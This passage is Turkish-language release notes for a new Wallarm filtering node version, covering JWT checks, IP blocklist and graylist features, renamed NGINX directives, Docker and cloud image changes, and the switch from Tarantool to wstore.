belirleyin. -* **Gelişmiş kural uygulaması**: belirli GraphQL istek parçalarına ayrıntılı koruma kuralları uygulayın. Bu, istenen GraphQL istek bölümlerinde belirli saldırı türleri için istisnalar tanımlayarak ince ayar yapmayı ve yapılandırmayı mümkün kılar. - - ![Bir kuralın GraphQL istek noktasına uygulanmasına örnek"](../../images/user-guides/rules/rule-applied-to-graphql-point.png) - -## JSON Web Token gücünü kontrol etme - -[JSON Web Token (JWT)](https://jwt.io/), API’ler gibi kaynaklar arasında verileri güvenli şekilde değiştirmek için kullanılan popüler bir kimlik doğrulama standardıdır. JWT’nin ele geçirilmesi, kimlik doğrulama mekanizmalarının kırılması saldırganlara web uygulamalarına ve API’lara tam erişim sağladığından, yaygın bir hedeftir. JWT ne kadar zayıfsa, ele geçirilme olasılığı o kadar yüksektir. - -Artık, Wallarm [aşağıdaki JWT zayıflıklarını tespit eder](../../attacks-vulns-list.md#weak-jwt): - -* Şifrelenmemiş JWT’ler -* Tehlikeye atılmış gizli anahtarlarla imzalanmış JWT’ler - -## JSON Web Token’larda saldırı kontrolü - -JSON Web Token (JWT), en popüler kimlik doğrulama yöntemlerinden biridir. Bu, JWT içindeki veriler kodlandığından ve isteğin herhangi bir yerinde bulunabileceğinden, (örneğin SQLi veya RCE gibi) saldırıları gerçekleştirmek için favori bir araç haline getirir ve bu saldırıları bulmak çok zordur. - -Wallarm düğümü isteğin herhangi bir yerindeki JWT’yi bulur, onu [decode eder](../../user-guides/rules/request-processing.md#jwt) ve uygun [filtreleme modu](../../admin-en/configure-wallarm-mode.md) kapsamında bu kimlik doğrulama yöntemi üzerinden yapılan herhangi bir saldırı girişimini engeller. - -## Desteklenen kurulum seçenekleri - -* Community Ingress NGINX Controller 1.11.8 tabanlı Wallarm Ingress controller. - - [En yeni Wallarm Ingress controller’a geçiş talimatları →](ingress-controller.md) -* [Kullanım dışı](https://www.centos.org/centos-linux-eol/) CentOS 8.x yerine AlmaLinux, Rocky Linux ve Oracle Linux 8.x desteği eklendi. - - Alternatif işletim sistemleri için Wallarm düğüm paketleri CentOS 8.x deposunda tutulacaktır. -* Debian 11 Bullseye desteği eklendi -* Ubuntu 22.04 LTS (jammy) desteği eklendi -* CentOS 6.x (CloudLinux 6.x) desteği kaldırıldı -* Debian 9.x desteği kaldırıldı -* Ubuntu 16.04 LTS (xenial) işletim sistemi desteği kaldırıldı - -[Desteklenen kurulum seçeneklerinin tam listesi →](../../installation/supported-deployment-options.md) - -## Filtreleme düğümü kurulumu için sistem gereksinimleri - -* Wallarm düğüm örneklerinin, saldırı tespit kuralları ve [API spesifikasyonları](../../api-specification-enforcement/overview.md) güncellemelerini indirmek ve [izin listesine alınmış, engelleme listesine alınmış veya gri listeye alınmış](../../user-guides/ip-lists/overview.md) ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak üzere aşağıdaki IP adreslerine erişmesi gerekir. - - --8<-- "../include/wallarm-cloud-ips.md" -* Filtreleme düğümü artık verileri Cloud’a `us1.api.wallarm.com:443` (US Cloud) ve `api.wallarm.com:443` (EU Cloud) üzerinden yükler; önceden `us1.api.wallarm.com:444` ve `api.wallarm.com:444` kullanılıyordu. - - Düğümün dağıtıldığı sunucunun dış kaynaklara erişimi kısıtlıysa ve erişim her bir kaynak için ayrı ayrı tanımlanmışsa, yükseltmeden sonra filtreleme düğümü ile Cloud arasındaki senkronizasyon duracaktır. Yükseltilen düğümün yeni portu kullanan API uç noktasına erişimi olmalıdır. - -## Wallarm Cloud’a API token ile birleşik düğüm kaydı - -Wallarm düğümünün yeni sürümüyle, Cloud’da e‑posta/parola tabanlı düğüm kaydı kaldırılmıştır. Daha yeni düğüm sürümlerine devam etmek için yeni API token tabanlı düğüm kayıt yöntemine geçmek artık zorunludur. - -Yeni sürüm, Wallarm düğümünü Wallarm Cloud’a **API token** ile [herhangi bir desteklenen platformda](../../installation/supported-deployment-options.md) kaydetmenizi sağlar ve Wallarm Cloud’a daha güvenli ve daha hızlı bağlantı sunar: - -* Yalnızca düğüm kurulumu izni olan **Deploy** rolüne sahip özel kullanıcı hesaplarına artık gerek yoktur. -* Kullanıcıların verileri Wallarm Cloud’da güvenli bir şekilde saklanır. -* Kullanıcı hesapları için etkinleştirilen iki faktörlü kimlik doğrulama, düğümlerin Wallarm Cloud’a kaydedilmesini engellemez. -* Ayrı sunuculara dağıtılan ilk trafik işleme ve istek sonrası analiz modülleri, Cloud’a tek bir düğüm token’ı ile kaydedilebilir. - -Düğüm kayıt yöntemlerindeki değişiklikler, düğüm türlerinde bazı güncellemelerle sonuçlanır: - -* Sunucuda düğümü kaydetmek için çalıştırılacak betik `register-node` olarak adlandırılır. Önceden, **cloud node** adlı Wallarm düğümü token ile kaydı destekliyordu ancak `addcloudnode` adlı farklı bir betikle. - - Cloud node’un yeni dağıtım sürecine geçirilmesine gerek yoktur. -* `addnode` betiğine geçirilen "e‑posta/parola" ile kaydı destekleyen **regular düğüm** kullanım dışıdır. - -Artık, düğüm kaydı şu şekilde görünür: - -1. Wallarm Console → **Settings** → **API tokens** bölümüne gidin. -1. Kullanım türü **Node deployment/Deployment** olan bir [token oluşturun](../../user-guides/settings/api-tokens.md). -1. Düğümün gerekli dağıtım yapıtını, API token’ı ilgili parametrelerde geçirilmiş şekilde çalıştırın. - -!!! info "Regular düğüm desteği" - Regular düğüm türü kullanım dışıdır ve gelecekteki sürümlerde kaldırılacaktır. - -## AWS üzerinde Wallarm dağıtımı için Terraform modülü - -Artık Wallarm’ı, Kod Olarak Altyapı (IaC) tabanlı ortamdan [AWS](https://aws.amazon.com/) üzerine [Wallarm Terraform modülü](https://registry.terraform.io/modules/wallarm/wallarm/aws/) ile kolayca dağıtabilirsiniz. - -Wallarm Terraform modülü, güvenlik ve hata toleransı için en iyi endüstri standartlarını karşılayan, ölçeklenebilir bir çözümdür. Wallarm’ı **proxy** olarak dağıtmak için tasarlanmıştır. - -[AWS için Wallarm Terraform modülü dokümantasyonu](../../installation/cloud-platforms/aws/terraform-module/overview.md) - -## Engelleme listesine alınmış kaynaklardan gelen engellenen isteklerin istatistiklerinin toplanması - -Wallarm NGINX tabanlı filtreleme düğümleri artık kaynağı engelleme listesinde bulunan istekler engellendiğinde bunun istatistiklerini toplayarak saldırı gücünü değerlendirme yeteneğinizi artırır. Bu, engellenen istek istatistiklerine ve örneklerine erişimi içerir; bu da gözden kaçan etkinliği en aza indirmenize yardımcı olur. Bu verileri Wallarm Console UI’daki **Attacks** bölümünde bulabilirsiniz. - -Otomatik IP engelleme kullanırken (ör. brute force tetikleyicisi yapılandırılmışsa), artık hem ilk tetikleyici istekleri hem de bunları izleyen engellenen istek örneklerini analiz edebilirsiniz. Kaynakları manuel olarak engelleme listesine alınmış istekler için, yeni işlevsellik engellenen kaynak eylemlerine görünürlük kazandırır. - -**Attacks** bölümü içinde yeni tanıtılan verilere zahmetsizce erişmek için yeni [arama etiketleri ve filtreler](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) ekledik: - -* IP adreslerinin, alt ağların, ülkelerin, VPN’lerin ve daha fazlasının manuel olarak engelleme listesine alınması nedeniyle engellenen istekleri belirlemek için `blocked_source` aramasını kullanın. -* Birden fazla payload içeren kötü niyetli istekler gönderen kaynakları engelleme listesine almak için tasarlanmış **Number of malicious payloads** tetikleyicisi tarafından engellenen istekleri belirlemek için `multiple_payloads` aramasını kullanın. Bu, çoklu saldırı faillerinin yaygın bir özelliğidir. -* Ek olarak, `api_abuse`, `brute`, `dirbust` ve `bola` arama etiketleri artık ilgili saldırı türleri için ilgili Wallarm tetikleyicileri tarafından kaynakları otomatik olarak engelleme listesine eklenmiş istekleri de kapsar. - -Bu değişiklik, varsayılan olarak işlevi etkinleştirmek için `on` olarak ayarlanmış, ancak devre dışı bırakmak için `off` yapılabilen yeni yapılandırma parametreleri getirir: - -* [`wallarm_acl_export_enable`](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable) NGINX yönergesi. -* NGINX Ingress controller chart’ı için [`controller.config.wallarm-acl-export-enable`](../../admin-en/configure-kubernetes-en.md#global-controller-settings) değeri. -* Sidecar Controller çözümü için [`config.wallarm.aclExportEnable`](../../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#configwallarmaclexportenable) chart değeri ve [`sidecar.wallarm.io/wallarm-acl-export-enable`](../../installation/kubernetes/sidecar-proxy/pod-annotations.md) pod etiketi. - -## Wallarm AWS imajı, kullanıma hazır `cloud-init.py` betiği ile dağıtılır - -Kod Olarak Altyapı (IaC) yaklaşımını izliyorsanız, Wallarm düğümünü AWS’ye dağıtmak için [`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html) betiğini kullanmanız gerekebilir. Artık Wallarm, AWS bulut imajını kullanıma hazır `cloud-init.py` betiği ile dağıtmaktadır. - -Wallarm `cloud-init` betiğinin [özellikleri](../../installation/cloud-platforms/cloud-init.md) - -## Çok kiracılı düğüm yapılandırmasının basitleştirilmesi - -[Çok kiracılı düğümler](../../installation/multi-tenant/overview.md) için kiracılar ve uygulamalar artık her biri kendi yönergesiyle tanımlanır: - -* Bir kiracının benzersiz tanımlayıcısını yapılandırmak için [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) NGINX yönergesi eklendi. -* [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) NGINX yönergesinin davranışı değiştirildi. Artık **yalnızca** bir uygulama kimliğini yapılandırmak için kullanılır. - -[Çok kiracılı düğüm yükseltme talimatları](../multi-tenant.md) - -## Filtreleme modları - -* Yeni **güvenli engelleme** (safe blocking) filtreleme modu. - - Bu mod, yalnızca [gri listelenmiş IP adreslerinden](../../user-guides/ip-lists/overview.md) gelen kötü amaçlı istekleri engelleyerek [yalancı pozitiflerin](../../about-wallarm/protecting-against-attacks.md#false-positives) sayısını önemli ölçüde azaltır. -* İstek kaynaklarının analizi artık yalnızca `safe_blocking` ve `block` modlarında gerçekleştirilir. - - * `off` veya `monitoring` modunda çalışan Wallarm düğümü, [engelleme listesinde](../../user-guides/ip-lists/overview.md) bulunan bir IP’den gelen bir isteği tespit ederse, bu isteği engellemez. - * `monitoring` modunda çalışan Wallarm düğümü, [izin listesine alınmış IP adreslerinden](../../user-guides/ip-lists/overview.md) gelen tüm saldırıları Wallarm Cloud’a yükler. - -[Wallarm düğüm modları hakkında daha fazla bilgi →](../../admin-en/configure-wallarm-mode.md) - -## İstek kaynağı kontrolü - -İstek kaynağı kontrolü için aşağıdaki parametreler kullanım dışıdır: - -* IP adresi engelleme listesini yapılandırmak için kullanılan tüm `acl` NGINX yönergeleri ve ortam değişkenleri. IP engelleme listesinin manuel yapılandırılması artık gerekli değildir. - - [Engelleme listesi yapılandırmasına geçiş ayrıntıları →](../migrate-ip-lists-to-node-3.md) - -İstek kaynağı kontrolü için yeni özellikler: - -* IP adresi izin listesi, engelleme listesi ve gri listeyi tam olarak kontrol etmek için Wallarm Console bölümü. -* Yeni [filtreleme modu](../../admin-en/configure-wallarm-mode.md) `safe_blocking` ve [IP adresi gri listeleri](../../user-guides/ip-lists/overview.md) desteği. - - **Güvenli engelleme** modu, yalnızca gri listelenmiş IP adreslerinden gelen kötü amaçlı istekleri engelleyerek [yalancı pozitiflerin](../../about-wallarm/protecting-against-attacks.md#false-positives) sayısını önemli ölçüde azaltır. - - Otomatik IP adresi gri listelemesi için, yeni yayınlanan [**Number of malicious payloads** tetikleyicisi](../../admin-en/configuration-guides/protecting-with-thresholds.md) kullanılabilir. -* Şirket kaynaklarını güvenlik açıkları için taramak ve ek güvenlik testleri başlatmak için kullanılan [Wallarm’ın güvenlik açığı tarama IP’lerinin](../../admin-en/scanner-addresses.md) otomatik izin listesine alınması. Bu adreslerin manuel izne alınması artık gerekli değildir. -* Bir alt ağ, Tor ağı IP’leri, VPN IP’leri, belirli bir ülkede, bölgede veya veri merkezinde kayıtlı bir IP adres grubu için izin listeleme, engelleme listeleme veya gri listeleme yeteneği. -* Belirli uygulamalar için istek kaynaklarını izin listeleme, engelleme listeleme veya gri listeleme yeteneği. -* İstek kaynağı analizini devre dışı bırakmak için yeni `disable_acl` NGINX yönergesi. - - [`disable_acl` NGINX yönergesi hakkında ayrıntılar →](../../admin-en/configure-parameters-en.md#disable_acl) - -[IP’leri izin listesine, engelleme listesine ve gri listeye ekleme ayrıntıları →](../../user-guides/ip-lists/overview.md) - -## API envanteri keşfi için yeni modül - -Yeni Wallarm düğümleri, uygulama API’sini otomatik olarak tanımlayan **API Discovery** modülü ile dağıtılır. Modül varsayılan olarak devre dışıdır. - -[API Discovery modülü hakkında ayrıntılar →](../../api-discovery/overview.md) - -## libdetection kütüphanesi ile gelişmiş saldırı analizi - -Wallarm tarafından gerçekleştirilen saldırı analizi, ek bir saldırı doğrulama katmanı eklenerek geliştirilmiştir. Tüm form faktörlerdeki Wallarm düğümü, varsayılan olarak etkinleştirilmiş libdetection kütüphanesi ile dağıtılır. Bu kütüphane, tüm [SQLi](../../attacks-vulns-list.md#sql-injection) saldırılarının ikincil, tamamen dilbilgisi tabanlı doğrulamasını gerçekleştirerek SQL enjeksiyonları arasında tespit edilen yalancı pozitiflerin sayısını azaltır. - -!!! warning "Bellek kullanımı artışı" - **libdetection** kütüphanesi etkinleştirildiğinde, NGINX ve Wallarm süreçleri tarafından tüketilen bellek miktarı yaklaşık %10 artabilir. - -[Wallarm’ın saldırıları nasıl tespit ettiğine dair ayrıntılar →](../../about-wallarm/protecting-against-attacks.md) - -## `overlimit_res` saldırı tespiti ince ayarını etkinleştiren kural - -[`overlimit_res` saldırı tespiti ince ayarına olanak tanıyan yeni kuralı](../../user-guides/rules/configure-overlimit-res-detection.md) sunduk. - -NGINX yapılandırma dosyaları aracılığıyla `overlimit_res` saldırı tespiti ince ayarı artık kullanım dışı kabul edilir: - -* Kural, daha önce `wallarm_process_time_limit` NGINX yönergesinin yaptığı gibi tek bir istek işleme süresi limiti ayarlamanıza izin verir. -* Kural, `overlimit_res` saldırılarını [düğüm filtreleme moduna](../../admin-en/configure-wallarm-mode.md) uygun şekilde engellemeye veya geçirmeye izin verir; bu, `wallarm_process_time_limit_block` NGINX yönergesinin yapılandırılması yerine geçer. - -Listelenen yönergeler ve parametreler kullanım dışıdır ve gelecekteki sürümlerde silinecektir. `overlimit_res` saldırı tespiti yapılandırmasını yönergelerden kurala taşımanız önerilir. İlgili talimatlar her bir [düğüm dağıtım seçeneği](../general-recommendations.md#update-process) için sağlanmıştır. - -Listelenen parametreler yapılandırma dosyalarında açıkça belirtilmiş ve kural henüz oluşturulmamışsa, düğüm istekleri yapılandırma dosyalarında ayarlandığı şekilde işler. - -## Optimize edilmiş ve daha güvenli NGINX tabanlı Docker imajı - -[Wallarm’ın NGINX tabanlı filtreleme düğümünün Docker imajı](../../admin-en/installation-docker-en.md), gelişmiş güvenlik ve optimizasyon için elden geçirilmiştir. Başlıca güncellemeler: - -* Docker imajı artık daha güvenli ve hafif bir yapıt sağlamak için Debian yerine Alpine Linux üzerine inşa edilmektedir. Lütfen daha önce dahil olan `auth-pam` ve `subs-filter` NGINX modüllerinin artık Docker imajına paketlenmediğini unutmayın. -* Önceki 1.14.x sürümü yerine NGINX’in en son kararlı sürümü olan 1.28.0’a güncellendi. 1.14.x’teki güvenlik açıklarının çoğu Debian ekibi tarafından yamalanmış olsa da (önceki imaj Debian 10.x tabanlıydı), 1.28.0’a yükseltme kalan güvenlik açıklarını da gidererek güvenliği iyileştirir. - - NGINX yükseltmesi ve Alpine Linux’a geçiş, NGINX 1.28.0’da uygulanan Alpine özel yama sayesinde HTTP/2 Rapid Reset Güvenlik Açığı’nı (CVE-2023-44487) çözer. - -* ARM64 mimariye sahip işlemciler için destek; kurulum sırasında otomatik olarak algılanır. -* Docker konteyneri içinde tüm işlemler artık önceki `root` kullanıcı kurulumu yerine `wallarm` adlı non-root kullanıcıyı kullanır. Bu, NGINX sürecini de etkiler. -* [`/wallarm-status`](../../admin-en/configure-statistics-service.md) uç noktası, Docker konteynerinin dışından erişildiğinde JSON yerine Prometheus formatında metrikleri dışa aktarmak üzere güncellendi. Bu işlev için [`WALLARM_STATUS_ALLOW`](../../admin-en/installation-docker-en.md#wallarm-status-allow-env-var) ortam değişkeninin uygun şekilde ayarlanması gerektiğini unutmayın. -* Docker imajı artık iç dizin yapısını değiştiren [all-in-one yükleyici](../../installation/nginx/all-in-one.md) kullanılarak oluşturulmaktadır: - - * Günlük dosyası dizini: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm`. - * Wallarm düğümünün Cloud’a bağlanması için kimlik bilgilerini içeren dosyaların bulunduğu dizin: `/etc/wallarm` → `/opt/wallarm/etc/wallarm`. -* `/usr/share` dizininin yolu → `/opt/wallarm/usr/share`. - - Bu, `/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html` konumunda bulunan [örnek engelleme sayfası](../../admin-en/configuration-guides/configure-block-page-and-code.md) için yeni bir yol getirir. - -Yeni yayınlanan ürün özellikleri, yeni formatlı NGINX tabanlı Docker imajı tarafından da desteklenmektedir. - -## Optimize edilmiş bulut imajları - -[Amazon Machine Image (AMI)](../../installation/cloud-platforms/aws/ami.md) ve [Google Cloud Machine Image](../../installation/cloud-platforms/gcp/machine-image.md) optimize edilmiştir. Başlıca güncellemeler: - -* Bulut imajları artık gelişmiş güvenlik için kullanım dışı Debian 10.x (buster) yerine en son kararlı sürüm olan Debian 12.x (bookworm) kullanır. -* Önceki 1.14.x sürümü yerine NGINX’in daha yeni sürümü 1.22.1’e güncellendi. -* ARM64 mimariye sahip işlemciler için destek; kurulum sırasında otomatik olarak algılanır. -* Bulut imajları artık iç dizin yapısını değiştiren [all-in-one yükleyici](../../installation/nginx/all-in-one.md) kullanılarak oluşturulmaktadır: - - * Düğüm kayıt betiği: `/usr/share/wallarm-common/register-node` → `/opt/wallarm/usr/share/wallarm-common/cloud-init.py`. - * Günlük dosyası dizini: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm`. - * Wallarm düğümünün Cloud’a bağlanması için kimlik bilgilerini içeren dosyaların bulunduğu dizin: `/etc/wallarm` → `/opt/wallarm/etc/wallarm`. - * `/usr/share` dizininin yolu → `/opt/wallarm/usr/share`. - - Bu, `/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html` konumunda bulunan [örnek engelleme sayfası](../../admin-en/configuration-guides/configure-block-page-and-code.md) için yeni bir yol getirir. - - * Global Wallarm filtreleme düğümü ayarlarını içeren `/etc/nginx/conf.d/wallarm.conf` dosyası kaldırılmıştır. - -Yeni formatlı bulut imajları da yeni yayınlanan ürün özelliklerini desteklemektedir. - -## Yeni engelleme sayfası - -`/usr/share/nginx/html/wallarm_blocked.html` örnek engelleme sayfası güncellendi. Yeni düğüm sürümünde, yeni bir düzeni vardır ve logo ile destek e‑postası özelleştirmesini destekler. - -Yeni düzenli engelleme sayfasının varsayılan görünümü şu şekildedir: - -![Wallarm engelleme sayfası](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -[Engelleme sayfası kurulumu hakkında daha fazla bilgi →](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) - -## Temel düğüm kurulumu için yeni parametreler - -* Wallarm NGINX tabanlı Docker konteynerine geçirilecek yeni ortam değişkenleri: - - * `WALLARM_APPLICATION`, Wallarm Cloud’da kullanılacak korunan uygulamanın tanımlayıcısını ayarlamak için. - * `NGINX_PORT`, NGINX’in Docker konteyneri içinde kullanacağı portu ayarlamak için. - - [Wallarm NGINX tabanlı Docker konteynerini dağıtma talimatları →](../../admin-en/installation-docker-en.md) -* Wallarm Cloud ile filtreleme düğümlerinin senkronizasyonunu yapılandırmak için `node.yaml` dosyasının yeni parametreleri: `api.local_host` ve `api.local_port`. Yeni parametreler, Wallarm API’sine gönderilecek istekler için yerel bir IP adresi ve ağ arayüzü portu belirtmenize olanak tanır. - - Wallarm Cloud ve filtreleme düğümü senkronizasyonu kurulumu için `node.yaml` parametrelerinin [tam listesine bakın →](../../admin-en/configure-cloud-node-synchronization-en.md#access-parameters) - -## NGINX tabanlı Wallarm Docker konteyneri için IPv6 bağlantılarının devre dışı bırakılması - -NGINX tabanlı Wallarm Docker imajı artık yeni `DISABLE_IPV6` ortam değişkenini destekler. Bu değişken, NGINX’in IPv6 bağlantılarını işlemesini engellemenizi ve yalnızca IPv4 bağlantılarını işlemesini sağlar. - -## Yeniden adlandırılan parametreler, dosyalar ve metrikler - -* Aşağıdaki NGINX yönergeleri yeniden adlandırıldı: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - Önceki adlara sahip parametreler hâlâ desteklenmektedir ancak gelecekteki sürümlerde kullanım dışı bırakılacaktır. Parametre mantığı değişmemiştir. -* Ingress [annotasyon](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `nginx.ingress.kubernetes.io/wallarm-instance`, `nginx.ingress.kubernetes.io/wallarm-application` olarak yeniden adlandırıldı. - - Önceki ada sahip annotasyon hâlâ desteklenmektedir ancak gelecekteki sürümlerde kullanım dışı bırakılacaktır. Annotasyon mantığı değişmemiştir. -* Özel kurallar kümesi derlemesini içeren `/etc/wallarm/lom` dosyasının adı `/etc/wallarm/custom_ruleset` olarak değiştirildi. Yeni düğüm sürümlerinin dosya sisteminde yalnızca yeni adlı dosya bulunur. - - [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) NGINX yönergesinin varsayılan değeri uygun şekilde değiştirildi. Yeni varsayılan değer `/etc/wallarm/custom_ruleset`’tir. -* Özel anahtar dosyası `/etc/wallarm/license.key`, `/etc/wallarm/private.key` olarak yeniden adlandırıldı. Varsayılan olarak yeni ad kullanılır. - -## İstatistik servisinin parametreleri - -* Prometheus metriği `wallarm_custom_ruleset_id`, `format` niteliğinin eklenmesiyle geliştirilmiştir. Bu yeni nitelik, özel kurallar kümesi formatını temsil eder. Bu arada, ana değer özel kurallar kümesi derleme sürümü olmaya devam eder. Güncellenmiş `wallarm_custom_ruleset_id` değerine bir örnek: - - ``` - wallarm_custom_ruleset_id{format="51"} 386 - ``` -* Wallarm istatistik servisi, [Wallarm rate limiting](#rate-limits) modülü verileri ile yeni `rate_limit` parametrelerini döndürür. Yeni parametreler reddedilen ve geciktirilen istekleri kapsar ve ayrıca modülün çalışmasıyla ilgili herhangi bir sorunu gösterir. -* Engelleme listesine alınmış IP’lerden gelen isteklerin sayısı artık istatistik servisi çıktısında, yeni `blocked_by_acl` parametresinde ve mevcut `requests`, `blocked` parametrelerinde görüntülenir. -* Servis, Wallarm düğümleri tarafından kullanılan [özel kurallar kümesi](../../glossary-en.md#custom-ruleset-the-former-term-is-lom) formatını işaret eden bir başka yeni parametre `custom_ruleset_ver` döndürür. -* Aşağıdaki düğüm istatistik parametreleri yeniden adlandırıldı: - - * `lom_apply_time` → `custom_ruleset_apply_time` - * `lom_id` → `custom_ruleset_id` - - Yeni düğüm sürümlerinde, `http://127.0.0.8/wallarm-status` uç noktası geçici olarak hem kullanım dışı hem de yeni parametreleri döndürür. Kullanım dışı parametreler gelecekteki sürümlerde servis çıktısından kaldırılacaktır. - -[İstatistik servisi hakkında ayrıntılar →](../../admin-en/configure-statistics-service.md) - -## Düğüm günlük formatını yapılandırmak için yeni değişkenler - -Aşağıdaki [düğüm günlük değişkenleri](../../admin-en/configure-logging.md#filter-node-variables) değiştirildi: - -* `wallarm_request_time`, `wallarm_request_cpu_time` olarak yeniden adlandırıldı - - Bu değişken, isteği işlerken CPU’nun harcadığı süreyi saniye cinsinden ifade eder. - - Önceki ada sahip değişken kullanım dışıdır ve gelecekteki sürümlerde kaldırılacaktır. Değişken mantığı değişmemiştir. -* `wallarm_request_mono_time` eklendi - - Bu değişken, isteği işlerken CPU’nun harcadığı süre + kuyruktaki süre toplamını saniye cinsinden ifade eder. - -## Engelleme listesindeki IP’lerden gelen isteklerde saldırı aramasını atlayarak performansı artırma - -Yeni [`wallarm_acl_access_phase`](../../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) yönergesi, [engelleme listesinde](../../user-guides/ip-lists/overview.md) bulunan IP’lerden gelen isteklerin analizinde saldırı arama aşamasını atlayarak Wallarm düğüm performansını artırmanıza olanak tanır. Bu yapılandırma seçeneği, (ör. tüm ülkeler gibi) çok sayıda engelleme listesi IP’sinin yoğun trafik ürettiği ve çalışma makinesinin CPU’sunu ağır yüklediği durumlarda faydalıdır. - -## Düğüm örnekleri için kolay gruplama - -Artık, kurulumları için kullanım türü `Node deployment/Deployment` olan tek bir [**API token**](../../user-guides/settings/api-tokens.md) ve `WALLARM_LABELS` değişkeninin `group` etiketi ile düğüm örneklerini kolayca gruplandırabilirsiniz. - -Örneğin: - -```bash -docker run -d -e WALLARM_API_TOKEN='' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -e WALLARM_LABELS='group=' -p 80:80 wallarm/node:6.5.1 -``` -...düğüm örneğini `` örnek grubuna yerleştirir (mevcutsa; değilse oluşturulur). - -## Giderilen güvenlik açıkları - -Yeni sürümler, Wallarm dağıtım yapıtlarındaki çok sayıda yüksek ve kritik şiddette güvenlik açığını, önceden savunmasız bileşenlerin değiştirilmesiyle gidererek yazılımın güvenlik durumunu iyileştirmektedir. - -Giderilen güvenlik açıkları arasında [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327), [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920) ve diğerleri bulunmaktadır. - -## HTTP/2 akış uzunluğu kontrol yönergesi - -HTTP/2 akışlarının maksimum uzunluğunu kontrol etmek için [`wallarm_http_v2_stream_max_len`](../../admin-en/configure-parameters-en.md#wallarm_http_v2_stream_max_len) yönergesi tanıtıldı. Bu, uzun ömürlü gRPC bağlantılarında aşırı bellek tüketimini önlemeye yardımcı olur. - -Bu değişkeni bir [Docker konteynerinde](../../admin-en/installation-docker-en.md) kullanmak için, NGINX yapılandırma dosyanızda belirtin ve dosyayı konteynere mount edin. - -## Account Takeover, Scraping ve Security Crawlers için ayrı arama etiketleri - -`account_takeover`, `scraping` ve `security_crawlers` saldırı türleri için ayrı [arama etiketleri](../../user-guides/search-and-filters/use-search.md) tanıtıldı; bu, önceki genel `api_abuse` etiketine kıyasla özgüllüğü artırır. - -## Bağlayıcılar ve TCP trafik aynası için Native Node - -NGINX’ten bağımsız olarak çalışan Wallarm Node için yeni bir dağıtım seçeneği olan Native Node’u tanıtmaktan heyecan duyuyoruz. Bu çözüm, NGINX’in gerekli olmadığı veya platformdan bağımsız bir yaklaşımın tercih edildiği ortamlar için geliştirilmiştir. - -Şu anda aşağıdaki dağıtımlar için uyarlanmıştır: - -* MuleSoft, Cloudflare, CloudFront, Broadcom Layer7 API Gateway, Fastly bağlayıcıları ile hem istek hem de yanıt analizi -* Kong API Gateway ve Istio Ingress bağlayıcıları -* TCP trafik aynası analizi - -[Daha fazla bilgi](../../installation/nginx-native-node-internals.md#native-node) - -## Postanalytics için Tarantool’un wstore ile değiştirilmesi - -Wallarm Düğümü artık yerel postanalytics işlemleri için Tarantool yerine **Wallarm tarafından geliştirilmiş bir servis olan wstore** kullanıyor. Sonuç olarak: - -* [All-in-one yükleyici](../../installation/nginx/all-in-one.md), [AWS](../../installation/cloud-platforms/aws/ami.md)/[GCP](../../installation/cloud-platforms/gcp/machine-image.md) imajları: - - * Ayrı bir sunucuya dağıtıldığında postanalytics modülü sunucu adresini tanımlayan `wallarm_tarantool_upstream` NGINX yönergesi, [`wallarm_wstore_upstream`](../../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) olarak yeniden adlandırıldı. - - Kullanım dışı uyarısı ile geriye dönük uyumluluk korunur: - - ``` - 2025/03/04 20:43:04 [warn] 3719#3719: "wallarm_tarantool_upstream" directive is deprecated, use "wallarm_wstore_upstream" instead in /etc/nginx/nginx.conf:19 - ``` - * [Günlük dosyası](../../admin-en/configure-logging.md) yeniden adlandırıldı: `/opt/wallarm/var/log/wallarm/tarantool-out.log` → `/opt/wallarm/var/log/wallarm/wstore-out.log`. - * Yeni wstore yapılandırma dosyası `/opt/wallarm/wstore/wstore.yaml`, `/etc/default/wallarm-tarantool` veya `/etc/sysconfig/wallarm-tarantool` gibi eski Tarantool yapılandırma dosyalarının yerini alır. - * `/opt/wallarm/etc/wallarm/node.yaml` içindeki `tarantool` bölümü artık `wstore`. Kullanım dışı uyarısı ile geriye dönük uyumluluk korunur. -* [Docker imajı](../../admin-en/installation-docker-en.md): - - * Yukarıdaki değişikliklerin tümü konteyner içinde uygulanır. - * Önceden Tarantool için bellek, `TARANTOOL_MEMORY_GB` ortam değişkeni ile ayrılıyordu. Artık bellek ayrımı aynı prensibi izler ancak yeni bir değişken kullanır: `TARANTOOL_MEMORY_GB` → `SLAB_ALLOC_ARENA`. - * Konteynerin dizin yapısı Alpine Linux kurallarına uyacak şekilde ayarlandı. Özellikle: - - * `/etc/nginx/modules-available` ve `/etc/nginx/modules-enabled` içeriği `/etc/nginx/modules`’a taşındı. - * `/etc/nginx/sites-available` ve `/etc/nginx/sites-enabled` içeriği `/etc/nginx/http.d`’ye taşındı. - - * `/wallarm-status` servisi için izin verilen IP adreslerini belirleyen varsayılan `allow` değeri artık 127.0.0.8/8 yerine 